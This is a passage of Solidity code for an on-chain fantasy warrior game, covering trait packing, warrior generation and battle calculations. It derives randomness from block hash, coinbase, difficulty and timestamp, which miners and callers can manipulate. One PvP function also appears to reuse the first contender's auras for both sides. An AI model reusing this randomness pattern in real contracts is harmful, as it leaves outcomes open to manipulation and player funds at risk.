returns(uint256){ return ((identity % BASE_MASK_24) / AURA_MASK_23); } /* SETTERS */ function _setUniqueValue0(uint256 value) internal pure returns(uint256){ require(value < RARITY_MASK_1); return value * UNIQUE_MASK_0; } function _setRarityValue1(uint256 value) internal pure returns(uint256){ require(value < (CLASS_VIEW_MASK_2 / RARITY_MASK_1)); return value * RARITY_MASK_1; } function _setClassViewValue2(uint256 value) internal pure returns(uint256){ require(value < (BODY_COLOR_MASK_3 / CLASS_VIEW_MASK_2)); return value * CLASS_VIEW_MASK_2; } function _setBodyColorValue3(uint256 value) internal pure returns(uint256){ require(value < (EYES_MASK_4 / BODY_COLOR_MASK_3)); return value * BODY_COLOR_MASK_3; } function _setEyesValue4(uint256 value) internal pure returns(uint256){ require(value < (MOUTH_MASK_5 / EYES_MASK_4)); return value * EYES_MASK_4; } function _setMouthValue5(uint256 value) internal pure returns(uint256){ require(value < (HEIR_MASK_6 / MOUTH_MASK_5)); return value * MOUTH_MASK_5; } function _setHairValue6(uint256 value) internal pure returns(uint256){ require(value < (HEIR_COLOR_MASK_7 / HEIR_MASK_6)); return value * HEIR_MASK_6; } function _setHairColorValue7(uint256 value) internal pure returns(uint256){ require(value < (ARMOR_MASK_8 / HEIR_COLOR_MASK_7)); return value * HEIR_COLOR_MASK_7; } function _setArmorValue8(uint256 value) internal pure returns(uint256){ require(value < (WEAPON_MASK_9 / ARMOR_MASK_8)); return value * ARMOR_MASK_8; } function _setWeaponValue9(uint256 value) internal pure returns(uint256){ require(value < (HAT_MASK_10 / WEAPON_MASK_9)); return value * WEAPON_MASK_9; } function _setHatValue10(uint256 value) internal pure returns(uint256){ require(value < (RUNES_MASK_11 / HAT_MASK_10)); return value * HAT_MASK_10; } function _setRunesValue11(uint256 value) internal pure returns(uint256){ require(value < (WINGS_MASK_12 / RUNES_MASK_11)); return value * RUNES_MASK_11; } function _setWingsValue12(uint256 value) internal pure returns(uint256){ require(value < (PET_MASK_13 / WINGS_MASK_12)); return value * WINGS_MASK_12; } function _setPetValue13(uint256 value) internal pure returns(uint256){ require(value < (BORDER_MASK_14 / PET_MASK_13)); return value * PET_MASK_13; } function _setBorderValue14(uint256 value) internal pure returns(uint256){ require(value < (BACKGROUND_MASK_15 / BORDER_MASK_14)); return value * BORDER_MASK_14; } function _setBackgroundValue15(uint256 value) internal pure returns(uint256){ require(value < (INTELLIGENCE_MASK_16 / BACKGROUND_MASK_15)); return value * BACKGROUND_MASK_15; } function _setIntelligenceValue16(uint256 value) internal pure returns(uint256){ require(value < (AGILITY_MASK_17 / INTELLIGENCE_MASK_16)); return value * INTELLIGENCE_MASK_16; } function _setAgilityValue17(uint256 value) internal pure returns(uint256){ require(value < (STRENGTH_MASK_18 / AGILITY_MASK_17)); return value * AGILITY_MASK_17; } function _setStrengthValue18(uint256 value) internal pure returns(uint256){ require(value < (CLASS_MECH_MASK_19 / STRENGTH_MASK_18)); return value * STRENGTH_MASK_18; } function _setClassMechValue19(uint256 value) internal pure returns(uint256){ require(value < (RARITY_BONUS_MASK_20 / CLASS_MECH_MASK_19)); return value * CLASS_MECH_MASK_19; } function _setRarityBonusValue20(uint256 value) internal pure returns(uint256){ require(value < (SPECIALITY_MASK_21 / RARITY_BONUS_MASK_20)); return value * RARITY_BONUS_MASK_20; } function _setSpecialityValue21(uint256 value) internal pure returns(uint256){ require(value < (DAMAGE_MASK_22 / SPECIALITY_MASK_21)); return value * SPECIALITY_MASK_21; } function _setDamgeValue22(uint256 value) internal pure returns(uint256){ require(value < (AURA_MASK_23 / DAMAGE_MASK_22)); return value * DAMAGE_MASK_22; } function _setAuraValue23(uint256 value) internal pure returns(uint256){ require(value < (BASE_MASK_24 / AURA_MASK_23)); return value * AURA_MASK_23; } /* WARRIOR IDENTITY GENERATION */ function _computeRunes(uint256 _rarity) internal pure returns (uint256){ return _rarity > UNCOMMON ? _rarity - UNCOMMON : 0;// 1 + _random(0, max, hash, WINGS_MASK_12, RUNES_MASK_11) : 0; } function _computeWings(uint256 _rarity, uint256 max, uint256 hash) internal pure returns (uint256){ return _rarity > RARE ? 1 + _random(0, max, hash, PET_MASK_13, WINGS_MASK_12) : 0; } function _computePet(uint256 _rarity, uint256 max, uint256 hash) internal pure returns (uint256){ return _rarity > MYTHIC ? 1 + _random(0, max, hash, BORDER_MASK_14, PET_MASK_13) : 0; } function _computeBorder(uint256 _rarity) internal pure returns (uint256){ return _rarity >= COMMON ? _rarity - 1 : 0; } function _computeBackground(uint256 _rarity) internal pure returns (uint256){ return _rarity; } function _unpackPetData(uint256 index) internal pure returns(uint256){ return (PETS_DATA % (1000 ** (index + 1)) / (1000 ** index)); } function _getPetBonus1(uint256 _pet) internal pure returns(uint256) { return (_pet % (10 ** (PET_PARAM_1 + 1)) / (10 ** PET_PARAM_1)); } function _getPetBonus2(uint256 _pet) internal pure returns(uint256) { return (_pet % (10 ** (PET_PARAM_2 + 1)) / (10 ** PET_PARAM_2)); } function _getPetAura(uint256 _pet) internal pure returns(uint256) { return (_pet % (10 ** (PET_AURA + 1)) / (10 ** PET_AURA)); } function _getBattleBonus(uint256 _setBonusIndex, uint256 _currentBonusIndex, uint256 _petData, uint256 _warriorAuras, uint256 _petAuras) internal pure returns(int256) { int256 bonus = 0; if (_setBonusIndex == _currentBonusIndex) { bonus += int256(BONUS_DATA % (100 ** (_setBonusIndex + 1)) / (100 ** _setBonusIndex)) * PRECISION; } //add pet bonuses if (_setBonusIndex == _getPetBonus1(_petData)) { bonus += int256(BONUS_DATA % (100 ** (_setBonusIndex + 1)) / (100 ** _setBonusIndex)) * PRECISION / 2; } if (_setBonusIndex == _getPetBonus2(_petData)) { bonus += int256(BONUS_DATA % (100 ** (_setBonusIndex + 1)) / (100 ** _setBonusIndex)) * PRECISION / 2; } //add warrior aura bonuses if (isAuraSet(_warriorAuras, uint8(_setBonusIndex))) {//warriors receive half bonuses from auras bonus += int256(BONUS_DATA % (100 ** (_setBonusIndex + 1)) / (100 ** _setBonusIndex)) * PRECISION / 2; } //add pet aura bonuses if (isAuraSet(_petAuras, uint8(_setBonusIndex))) {//pets receive full bonues from auras bonus += int256(BONUS_DATA % (100 ** (_setBonusIndex + 1)) / (100 ** _setBonusIndex)) * PRECISION; } return bonus; } function _computeRarityBonus(uint256 _rarity, uint256 hash) internal pure returns (uint256){ if (_rarity == UNCOMMON) { return 1 + _random(0, BONUS_PENETRATION, hash, SPECIALITY_MASK_21, RARITY_BONUS_MASK_20); } if (_rarity == RARE) { return 1 + _random(BONUS_PENETRATION, BONUS_DAMAGE, hash, SPECIALITY_MASK_21, RARITY_BONUS_MASK_20); } if (_rarity >= MYTHIC) { return 1 + _random(0, BONUS_DAMAGE, hash, SPECIALITY_MASK_21, RARITY_BONUS_MASK_20); } return BONUS_NONE; } function _computeAura(uint256 _rarity, uint256 hash) internal pure returns (uint256){ if (_rarity >= MYTHIC) { return 1 + _random(0, BONUS_DAMAGE, hash, BASE_MASK_24, AURA_MASK_23); } return BONUS_NONE; } function _computeRarity(uint256 _reward, uint256 _unique, uint256 _legendary, uint256 _mythic, uint256 _rare, uint256 _uncommon) internal pure returns(uint256){ uint256 range = _unique + _legendary + _mythic + _rare + _uncommon; if (_reward >= range) return COMMON; // common if (_reward >= (range = (range - _uncommon))) return UNCOMMON; if (_reward >= (range = (range - _rare))) return RARE; if (_reward >= (range = (range - _mythic))) return MYTHIC; if (_reward >= (range = (range - _legendary))) return LEGENDARY; if (_reward < range) return UNIQUE; return COMMON; } function _computeUniqueness(uint256 _rarity, uint256 nextUnique) internal pure returns (uint256){ return _rarity == UNIQUE ? nextUnique : 0; } /* identity packing */ /* @returns bonus value which depends on speciality value, * if speciality == 1 (miner), then bonus value will be equal 4, * otherwise 1 */ function _getBonus(uint256 identity) internal pure returns(uint256){ return getSpecialityValue(identity) == MINER_PERK ? 4 : 1; } function _computeAndSetBaseParameters16_18_22(uint256 _hash) internal pure returns (uint256, uint256){ uint256 identity = 0; uint256 damage = 35 + _random(0, 21, _hash, AURA_MASK_23, DAMAGE_MASK_22); uint256 strength = 45 + _random(0, 26, _hash, CLASS_MECH_MASK_19, STRENGTH_MASK_18); uint256 agility = 15 + (125 - damage - strength); uint256 intelligence = 155 - strength - agility - damage; (strength, agility, intelligence) = _shuffleParams(strength, agility, intelligence, _hash); identity += _setStrengthValue18(strength); identity += _setAgilityValue17(agility); identity += _setIntelligenceValue16(intelligence); identity += _setDamgeValue22(damage); uint256 classMech = strength > agility ? (strength > intelligence ? WARRIOR : MAGE) : (agility > intelligence ? ARCHER : MAGE); return (identity, classMech); } function _shuffleParams(uint256 param1, uint256 param2, uint256 param3, uint256 _hash) internal pure returns(uint256, uint256, uint256) { uint256 temp = param1; if (_hash % 2 == 0) { temp = param1; param1 = param2; param2 = temp; } if ((_hash / 10 % 2) == 0) { temp = param2; param2 = param3; param3 = temp; } if ((_hash / 100 % 2) == 0) { temp = param1; param1 = param2; param2 = temp; } return (param1, param2, param3); } /* RANDOM */ function _random(uint256 _min, uint256 _max, uint256 _hash, uint256 _reminder, uint256 _devider) internal pure returns (uint256){ return ((_hash % _reminder) / _devider) % (_max - _min) + _min; } function _random(uint256 _min, uint256 _max, uint256 _hash) internal pure returns (uint256){ return _hash % (_max - _min) + _min; } function _getTargetBlock(uint256 _targetBlock) internal view returns(uint256){ uint256 currentBlock = block.number; uint256 target = currentBlock - (currentBlock % 256) + (_targetBlock % 256); if (target >= currentBlock) { return (target - 256); } return target; } function _getMaxRarityChance() internal pure returns(uint256){ return RARITY_CHANCE_RANGE; } function generateWarrior(uint256 _heroIdentity, uint256 _heroLevel, uint256 _targetBlock, uint256 specialPerc, uint32[19] memory params) internal view returns (uint256) { _targetBlock = _getTargetBlock(_targetBlock); uint256 identity; uint256 hash = uint256(keccak256(block.blockhash(_targetBlock), _heroIdentity, block.coinbase, block.difficulty)); //0 _heroLevel produces warriors of COMMON rarity uint256 rarityChance = _heroLevel == 0 ? RARITY_CHANCE_RANGE : _random(0, RARITY_CHANCE_RANGE, hash) / (_heroLevel * _getBonus(_heroIdentity)); // 0 - 10 000 000 uint256 rarity = _computeRarity(rarityChance, params[UNIQUE_INDEX_13],params[LEGENDARY_INDEX_14], params[MYTHIC_INDEX_15], params[RARE_INDEX_16], params[UNCOMMON_INDEX_17]); uint256 classMech; // start (identity, classMech) = _computeAndSetBaseParameters16_18_22(hash); identity += _setUniqueValue0(_computeUniqueness(rarity, params[UNIQUE_TOTAL_INDEX_18] + 1)); identity += _setRarityValue1(rarity); identity += _setClassViewValue2(classMech); // 1 to 1 with classMech identity += _setBodyColorValue3(1 + _random(0, params[BODY_COLOR_MAX_INDEX_0], hash, EYES_MASK_4, BODY_COLOR_MASK_3)); identity += _setEyesValue4(1 + _random(0, params[EYES_MAX_INDEX_1], hash, MOUTH_MASK_5, EYES_MASK_4)); identity += _setMouthValue5(1 + _random(0, params[MOUTH_MAX_2], hash, HEIR_MASK_6, MOUTH_MASK_5)); identity += _setHairValue6(1 + _random(0, params[HAIR_MAX_3], hash, HEIR_COLOR_MASK_7, HEIR_MASK_6)); identity += _setHairColorValue7(1 + _random(0, params[HEIR_COLOR_MAX_4], hash, ARMOR_MASK_8, HEIR_COLOR_MASK_7)); identity += _setArmorValue8(1 + _random(0, params[ARMOR_MAX_5], hash, WEAPON_MASK_9, ARMOR_MASK_8)); identity += _setWeaponValue9(1 + _random(0, params[WEAPON_MAX_6], hash, HAT_MASK_10, WEAPON_MASK_9)); identity += _setHatValue10(_random(0, params[HAT_MAX_7], hash, RUNES_MASK_11, HAT_MASK_10));//removed +1 identity += _setRunesValue11(_computeRunes(rarity)); identity += _setWingsValue12(_computeWings(rarity, params[WINGS_MAX_9], hash)); identity += _setPetValue13(_computePet(rarity, params[PET_MAX_10], hash)); identity += _setBorderValue14(_computeBorder(rarity)); // 1 to 1 with rarity identity += _setBackgroundValue15(_computeBackground(rarity)); // 1 to 1 with rarity identity += _setClassMechValue19(classMech); identity += _setRarityBonusValue20(_computeRarityBonus(rarity, hash)); identity += _setSpecialityValue21(specialPerc); // currently only miner (1) identity += _setAuraValue23(_computeAura(rarity, hash)); // end return identity; } function _changeParameter(uint256 _paramIndex, uint32 _value, uint32[19] storage parameters) internal { //we can change only view parameters, and unique count in max range <= 100 require(_paramIndex >= BODY_COLOR_MAX_INDEX_0 && _paramIndex <= UNIQUE_INDEX_13); //we can NOT set pet, border and background values, //those values have special logic behind them require( _paramIndex != RUNES_MAX_8 && _paramIndex != PET_MAX_10 && _paramIndex != BORDER_MAX_11 && _paramIndex != BACKGROUND_MAX_12 ); //value of bodyColor, eyes, mouth, hair, hairColor, armor, weapon, hat must be < 1000 require(_paramIndex > HAT_MAX_7 || _value < 1000); //value of wings, must be < 100 require(_paramIndex > BACKGROUND_MAX_12 || _value < 100); //check that max total number of UNIQUE warriors that we can emit is not > 100 require(_paramIndex != UNIQUE_INDEX_13 || (_value + parameters[UNIQUE_TOTAL_INDEX_18]) <= 100); parameters[_paramIndex] = _value; } function _recordWarriorData(uint256 identity, uint32[19] storage parameters) internal { uint256 rarity = getRarityValue(identity); if (rarity == UNCOMMON) { // uncommon parameters[UNCOMMON_INDEX_17]--; return; } if (rarity == RARE) { // rare parameters[RARE_INDEX_16]--; return; } if (rarity == MYTHIC) { // mythic parameters[MYTHIC_INDEX_15]--; return; } if (rarity == LEGENDARY) { // legendary parameters[LEGENDARY_INDEX_14]--; return; } if (rarity == UNIQUE) { // unique parameters[UNIQUE_INDEX_13]--; parameters[UNIQUE_TOTAL_INDEX_18] ++; return; } } function _validateIdentity(uint256 _identity, uint32[19] memory params) internal pure returns(bool){ uint256 rarity = getRarityValue(_identity); require(rarity <= UNIQUE); require( rarity <= COMMON ||//common (rarity == UNCOMMON && params[UNCOMMON_INDEX_17] > 0) ||//uncommon (rarity == RARE && params[RARE_INDEX_16] > 0) ||//rare (rarity == MYTHIC && params[MYTHIC_INDEX_15] > 0) ||//mythic (rarity == LEGENDARY && params[LEGENDARY_INDEX_14] > 0) ||//legendary (rarity == UNIQUE && params[UNIQUE_INDEX_13] > 0)//unique ); require(rarity != UNIQUE || getUniqueValue(_identity) > params[UNIQUE_TOTAL_INDEX_18]); //check battle parameters require( getStrengthValue(_identity) < 100 && getAgilityValue(_identity) < 100 && getIntelligenceValue(_identity) < 100 && getDamageValue(_identity) <= 55 ); require(getClassMechValue(_identity) <= MAGE); require(getClassMechValue(_identity) == getClassViewValue(_identity)); require(getSpecialityValue(_identity) <= MINER_PERK); require(getRarityBonusValue(_identity) <= BONUS_DAMAGE); require(getAuraValue(_identity) <= BONUS_DAMAGE); //check view require(getBodyColorValue(_identity) <= params[BODY_COLOR_MAX_INDEX_0]); require(getEyesValue(_identity) <= params[EYES_MAX_INDEX_1]); require(getMouthValue(_identity) <= params[MOUTH_MAX_2]); require(getHairValue(_identity) <= params[HAIR_MAX_3]); require(getHairColorValue(_identity) <= params[HEIR_COLOR_MAX_4]); require(getArmorValue(_identity) <= params[ARMOR_MAX_5]); require(getWeaponValue(_identity) <= params[WEAPON_MAX_6]); require(getHatValue(_identity) <= params[HAT_MAX_7]); require(getRunesValue(_identity) <= params[RUNES_MAX_8]); require(getWingsValue(_identity) <= params[WINGS_MAX_9]); require(getPetValue(_identity) <= params[PET_MAX_10]); require(getBorderValue(_identity) <= params[BORDER_MAX_11]); require(getBackgroundValue(_identity) <= params[BACKGROUND_MAX_12]); return true; } /* UNPACK METHODS */ //common function _unpackClassValue(uint256 packedValue) internal pure returns(uint256){ return (packedValue % RARITY_PACK_2 / CLASS_PACK_0); } function _unpackRarityBonusValue(uint256 packedValue) internal pure returns(uint256){ return (packedValue % RARITY_PACK_2 / RARITY_BONUS_PACK_1); } function _unpackRarityValue(uint256 packedValue) internal pure returns(uint256){ return (packedValue % EXPERIENCE_PACK_3 / RARITY_PACK_2); } function _unpackExpValue(uint256 packedValue) internal pure returns(uint256){ return (packedValue % INTELLIGENCE_PACK_4 / EXPERIENCE_PACK_3); } function _unpackLevelValue(uint256 packedValue) internal pure returns(uint256){ return (packedValue % INTELLIGENCE_PACK_4) / (EXPERIENCE_PACK_3 * POINTS_TO_LEVEL); } function _unpackIntelligenceValue(uint256 packedValue) internal pure returns(int256){ return int256(packedValue % AGILITY_PACK_5 / INTELLIGENCE_PACK_4); } function _unpackAgilityValue(uint256 packedValue) internal pure returns(int256){ return int256(packedValue % STRENGTH_PACK_6 / AGILITY_PACK_5); } function _unpackStrengthValue(uint256 packedValue) internal pure returns(int256){ return int256(packedValue % BASE_DAMAGE_PACK_7 / STRENGTH_PACK_6); } function _unpackBaseDamageValue(uint256 packedValue) internal pure returns(int256){ return int256(packedValue % PET_PACK_8 / BASE_DAMAGE_PACK_7); } function _unpackPetValue(uint256 packedValue) internal pure returns(uint256){ return (packedValue % AURA_PACK_9 / PET_PACK_8); } function _unpackAuraValue(uint256 packedValue) internal pure returns(uint256){ return (packedValue % WARRIOR_ID_PACK_10 / AURA_PACK_9); } // //pvp unpack function _unpackIdValue(uint256 packedValue) internal pure returns(uint256){ return (packedValue % PVP_CYCLE_PACK_11 / WARRIOR_ID_PACK_10); } function _unpackCycleValue(uint256 packedValue) internal pure returns(uint256){ return (packedValue % RATING_PACK_12 / PVP_CYCLE_PACK_11); } function _unpackRatingValue(uint256 packedValue) internal pure returns(uint256){ return (packedValue % PVP_BASE_PACK_13 / RATING_PACK_12); } //max cycle skip value cant be more than 1000000000 function _changeCycleValue(uint256 packedValue, uint256 newValue) internal pure returns(uint256){ newValue = newValue > 1000000000 ? 1000000000 : newValue; return packedValue - (_unpackCycleValue(packedValue) * PVP_CYCLE_PACK_11) + newValue * PVP_CYCLE_PACK_11; } function _packWarriorCommonData(uint256 _identity, uint256 _experience) internal pure returns(uint256){ uint256 packedData = 0; packedData += getClassMechValue(_identity) * CLASS_PACK_0; packedData += getRarityBonusValue(_identity) * RARITY_BONUS_PACK_1; packedData += getRarityValue(_identity) * RARITY_PACK_2; packedData += _experience * EXPERIENCE_PACK_3; packedData += getIntelligenceValue(_identity) * INTELLIGENCE_PACK_4; packedData += getAgilityValue(_identity) * AGILITY_PACK_5; packedData += getStrengthValue(_identity) * STRENGTH_PACK_6; packedData += getDamageValue(_identity) * BASE_DAMAGE_PACK_7; packedData += getPetValue(_identity) * PET_PACK_8; return packedData; } function _packWarriorPvpData(uint256 _identity, uint256 _rating, uint256 _pvpCycle, uint256 _warriorId, uint256 _experience) internal pure returns(uint256){ uint256 packedData = _packWarriorCommonData(_identity, _experience); packedData += _warriorId * WARRIOR_ID_PACK_10; packedData += _pvpCycle * PVP_CYCLE_PACK_11; //rating MUST have most significant value! packedData += _rating * RATING_PACK_12; return packedData; } /* TOURNAMENT BATTLES */ function _packWarriorIds(uint256[] memory packedWarriors) internal pure returns(uint256){ uint256 packedIds = 0; uint256 length = packedWarriors.length; for(uint256 i = 0; i < length; i ++) { packedIds += (MAX_ID_SIZE ** i) * _unpackIdValue(packedWarriors[i]); } return packedIds; } function _unpackWarriorId(uint256 packedIds, uint256 index) internal pure returns(uint256){ return (packedIds % (MAX_ID_SIZE ** (index + 1)) / (MAX_ID_SIZE ** index)); } function _packCombinedParams(int256 hp, int256 damage, int256 armor, int256 dodge, int256 penetration) internal pure returns(uint256) { uint256 combinedWarrior = 0; combinedWarrior += uint256(hp) * HP_PACK_0; combinedWarrior += uint256(damage) * DAMAGE_PACK_1; combinedWarrior += uint256(armor) * ARMOR_PACK_2; combinedWarrior += uint256(dodge) * DODGE_PACK_3; combinedWarrior += uint256(penetration) * PENETRATION_PACK_4; return combinedWarrior; } function _unpackProtectionParams(uint256 combinedWarrior) internal pure returns (int256 hp, int256 armor, int256 dodge){ hp = int256(combinedWarrior % DAMAGE_PACK_1 / HP_PACK_0); armor = int256(combinedWarrior % DODGE_PACK_3 / ARMOR_PACK_2); dodge = int256(combinedWarrior % PENETRATION_PACK_4 / DODGE_PACK_3); } function _unpackAttackParams(uint256 combinedWarrior) internal pure returns(int256 damage, int256 penetration) { damage = int256(combinedWarrior % ARMOR_PACK_2 / DAMAGE_PACK_1); penetration = int256(combinedWarrior % COMBINE_BASE_PACK_5 / PENETRATION_PACK_4); } function _combineWarriors(uint256[] memory packedWarriors) internal pure returns (uint256) { int256 hp; int256 damage; int256 armor; int256 dodge; int256 penetration; (hp, damage, armor, dodge, penetration) = _computeCombinedParams(packedWarriors); return _packCombinedParams(hp, damage, armor, dodge, penetration); } function _computeCombinedParams(uint256[] memory packedWarriors) internal pure returns (int256 totalHp, int256 totalDamage, int256 maxArmor, int256 maxDodge, int256 maxPenetration){ uint256 length = packedWarriors.length; int256 hp; int256 armor; int256 dodge; int256 penetration; uint256 warriorAuras; uint256 petAuras; (warriorAuras, petAuras) = _getAurasData(packedWarriors); uint256 packedWarrior; for(uint256 i = 0; i < length; i ++) { packedWarrior = packedWarriors[i]; totalDamage += getDamage(packedWarrior, warriorAuras, petAuras); penetration = getPenetration(packedWarrior, warriorAuras, petAuras); maxPenetration = maxPenetration > penetration ? maxPenetration : penetration; (hp, armor, dodge) = _getProtectionParams(packedWarrior, warriorAuras, petAuras); totalHp += hp; maxArmor = maxArmor > armor ? maxArmor : armor; maxDodge = maxDodge > dodge ? maxDodge : dodge; } } function _getAurasData(uint256[] memory packedWarriors) internal pure returns(uint256 warriorAuras, uint256 petAuras) { uint256 length = packedWarriors.length; warriorAuras = 0; petAuras = 0; uint256 packedWarrior; for(uint256 i = 0; i < length; i ++) { packedWarrior = packedWarriors[i]; warriorAuras = enableAura(warriorAuras, (_unpackAuraValue(packedWarrior))); petAuras = enableAura(petAuras, (_getPetAura(_unpackPetData(_unpackPetValue(packedWarrior))))); } warriorAuras = filterWarriorAuras(warriorAuras, petAuras); return (warriorAuras, petAuras); } // Get bit value at position function isAuraSet(uint256 aura, uint256 auraIndex) internal pure returns (bool) { return aura & (uint256(0x01) << auraIndex) != 0; } // Set bit value at position function enableAura(uint256 a, uint256 n) internal pure returns (uint256) { return a | (uint256(0x01) << n); } //switch off warrior auras that are enabled in pets auras, pet aura have priority function filterWarriorAuras(uint256 _warriorAuras, uint256 _petAuras) internal pure returns(uint256) { return (_warriorAuras & _petAuras) ^ _warriorAuras; } function _getTournamentBattles(uint256 _numberOfContenders) internal pure returns(uint256) { return (_numberOfContenders * BATTLES_PER_CONTENDER / 2); } function getTournamentBattleResults(uint256[] memory combinedWarriors, uint256 _targetBlock) internal view returns (uint32[] memory results){ uint256 length = combinedWarriors.length; results = new uint32[](length); int256 damage1; int256 penetration1; uint256 hash; uint256 randomIndex; uint256 exp = 0; uint256 i; uint256 result; for(i = 0; i < length; i ++) { (damage1, penetration1) = _unpackAttackParams(combinedWarriors[i]); while(results[i] < BATTLES_PER_CONTENDER_SUM) { //if we just started generate new random source //or regenerate if we used all data from it if (exp == 0 || exp > 73) { hash = uint256(keccak256(block.blockhash(_getTargetBlock(_targetBlock - i)), uint256(damage1) + now)); exp = 0; } //we do not fight with self if there are other warriors randomIndex = (_random(i + 1 < length ? i + 1 : i, length, hash, 1000 * 10**exp, 10**exp)); result = getTournamentBattleResult(damage1, penetration1, combinedWarriors[i], combinedWarriors[randomIndex], hash % (1000 * 10**exp) / 10**exp); results[result == 1 ? i : randomIndex] += 101;//icrement battle count 100 and +1 win results[result == 1 ? randomIndex : i] += 100;//increment only battle count 100 for loser if (results[randomIndex] >= BATTLES_PER_CONTENDER_SUM) { if (randomIndex < length - 1) { _swapValues(combinedWarriors, results, randomIndex, length - 1); } length --; } exp++; } } //filter battle count from results length = combinedWarriors.length; for(i = 0; i < length; i ++) { results[i] = results[i] % 100; } return results; } function _swapValues(uint256[] memory combinedWarriors, uint32[] memory results, uint256 id1, uint256 id2) internal pure { uint256 temp = combinedWarriors[id1]; combinedWarriors[id1] = combinedWarriors[id2]; combinedWarriors[id2] = temp; temp = results[id1]; results[id1] = results[id2]; results[id2] = uint32(temp); } function getTournamentBattleResult(int256 damage1, int256 penetration1, uint256 combinedWarrior1, uint256 combinedWarrior2, uint256 randomSource) internal pure returns (uint256) { int256 damage2; int256 penetration2; (damage2, penetration2) = _unpackAttackParams(combinedWarrior1); int256 totalHp1 = getCombinedTotalHP(combinedWarrior1, penetration2); int256 totalHp2 = getCombinedTotalHP(combinedWarrior2, penetration1); return _getBattleResult(damage1 * getBattleRandom(randomSource, 1) / 100, damage2 * getBattleRandom(randomSource, 10) / 100, totalHp1, totalHp2, randomSource); } /* COMMON BATTLE */ function _getBattleResult(int256 damage1, int256 damage2, int256 totalHp1, int256 totalHp2, uint256 randomSource) internal pure returns (uint256){ totalHp1 = (totalHp1 * (PRECISION * PRECISION) / damage2); totalHp2 = (totalHp2 * (PRECISION * PRECISION) / damage1); //if draw, let the coin decide who wins if (totalHp1 == totalHp2) return randomSource % 2 + 1; return totalHp1 > totalHp2 ? 1 : 2; } function getCombinedTotalHP(uint256 combinedData, int256 enemyPenetration) internal pure returns(int256) { int256 hp; int256 armor; int256 dodge; (hp, armor, dodge) = _unpackProtectionParams(combinedData); return _getTotalHp(hp, armor, dodge, enemyPenetration); } function getTotalHP(uint256 packedData, uint256 warriorAuras, uint256 petAuras, int256 enemyPenetration) internal pure returns(int256) { int256 hp; int256 armor; int256 dodge; (hp, armor, dodge) = _getProtectionParams(packedData, warriorAuras, petAuras); return _getTotalHp(hp, armor, dodge, enemyPenetration); } function _getTotalHp(int256 hp, int256 armor, int256 dodge, int256 enemyPenetration) internal pure returns(int256) { int256 piercingResult = (armor - enemyPenetration) < -(75 * PRECISION) ? -(75 * PRECISION) : (armor - enemyPenetration); int256 mitigation = (PRECISION - piercingResult * PRECISION / (PRECISION + piercingResult / 100) / 100); return (hp * PRECISION / mitigation + (hp * dodge / (100 * PRECISION))); } function _applyLevelBonus(int256 _value, uint256 _level) internal pure returns(int256) { _level -= 1; return int256(uint256(_value) * (LEVEL_BONUSES % (100 ** (_level + 1)) / (100 ** _level)) / 10); } function _getProtectionParams(uint256 packedData, uint256 warriorAuras, uint256 petAuras) internal pure returns(int256 hp, int256 armor, int256 dodge) { uint256 rarityBonus = _unpackRarityBonusValue(packedData); uint256 petData = _unpackPetData(_unpackPetValue(packedData)); int256 strength = _unpackStrengthValue(packedData) * PRECISION + _getBattleBonus(BONUS_STR, rarityBonus, petData, warriorAuras, petAuras); int256 agility = _unpackAgilityValue(packedData) * PRECISION + _getBattleBonus(BONUS_AGI, rarityBonus, petData, warriorAuras, petAuras); hp = 100 * PRECISION + strength + 7 * strength / 10 + _getBattleBonus(BONUS_HP, rarityBonus, petData, warriorAuras, petAuras);//add bonus hp hp = _applyLevelBonus(hp, _unpackLevelValue(packedData)); armor = (strength + 8 * strength / 10 + agility + _getBattleBonus(BONUS_ARMOR, rarityBonus, petData, warriorAuras, petAuras));//add bonus armor dodge = (2 * agility / 3); } function getDamage(uint256 packedWarrior, uint256 warriorAuras, uint256 petAuras) internal pure returns(int256) { uint256 rarityBonus = _unpackRarityBonusValue(packedWarrior); uint256 petData = _unpackPetData(_unpackPetValue(packedWarrior)); int256 agility = _unpackAgilityValue(packedWarrior) * PRECISION + _getBattleBonus(BONUS_AGI, rarityBonus, petData, warriorAuras, petAuras); int256 intelligence = _unpackIntelligenceValue(packedWarrior) * PRECISION + _getBattleBonus(BONUS_INT, rarityBonus, petData, warriorAuras, petAuras); int256 crit = (agility / 5 + intelligence / 4) + _getBattleBonus(BONUS_CRIT_CHANCE, rarityBonus, petData, warriorAuras, petAuras); int256 critMultiplier = (PRECISION + intelligence / 25) + _getBattleBonus(BONUS_CRIT_MULT, rarityBonus, petData, warriorAuras, petAuras); int256 damage = int256(_unpackBaseDamageValue(packedWarrior) * 3 * PRECISION / 2) + _getBattleBonus(BONUS_DAMAGE, rarityBonus, petData, warriorAuras, petAuras); return (_applyLevelBonus(damage, _unpackLevelValue(packedWarrior)) * (PRECISION + crit * critMultiplier / (100 * PRECISION))) / PRECISION; } function getPenetration(uint256 packedWarrior, uint256 warriorAuras, uint256 petAuras) internal pure returns(int256) { uint256 rarityBonus = _unpackRarityBonusValue(packedWarrior); uint256 petData = _unpackPetData(_unpackPetValue(packedWarrior)); int256 agility = _unpackAgilityValue(packedWarrior) * PRECISION + _getBattleBonus(BONUS_AGI, rarityBonus, petData, warriorAuras, petAuras); int256 intelligence = _unpackIntelligenceValue(packedWarrior) * PRECISION + _getBattleBonus(BONUS_INT, rarityBonus, petData, warriorAuras, petAuras); return (intelligence * 2 + agility + _getBattleBonus(BONUS_PENETRATION, rarityBonus, petData, warriorAuras, petAuras)); } /* BATTLE PVP */ //@param randomSource must be >= 1000 function getBattleRandom(uint256 randmSource, uint256 _step) internal pure returns(int256){ return int256(100 + _random(0, 11, randmSource, 100 * _step, _step)); } uint256 internal constant NO_AURA = 0; function getPVPBattleResult(uint256 packedData1, uint256 packedData2, uint256 randmSource) internal pure returns (uint256){ uint256 petAura1 = _computePVPPetAura(packedData1); uint256 petAura2 = _computePVPPetAura(packedData2); uint256 warriorAura1 = _computePVPWarriorAura(packedData1, petAura1); uint256 warriorAura2 = _computePVPWarriorAura(packedData2, petAura2); int256 damage1 = getDamage(packedData1, warriorAura1, petAura1) * getBattleRandom(randmSource, 1) / 100; int256 damage2 = getDamage(packedData2, warriorAura2, petAura2) * getBattleRandom(randmSource, 10) / 100; int256 totalHp1; int256 totalHp2; (totalHp1, totalHp2) = _computeContendersTotalHp(packedData1, warriorAura1, petAura1, packedData2, warriorAura1, petAura1); return _getBattleResult(damage1, damage2, totalHp1, totalHp2, randmSource); } function _computePVPPetAura(uint256 packedData) internal pure returns(uint256) { return enableAura(NO_AURA, _getPetAura(_unpackPetData(_unpackPetValue(packedData)))); } function _computePVPWarriorAura(uint256 packedData, uint256 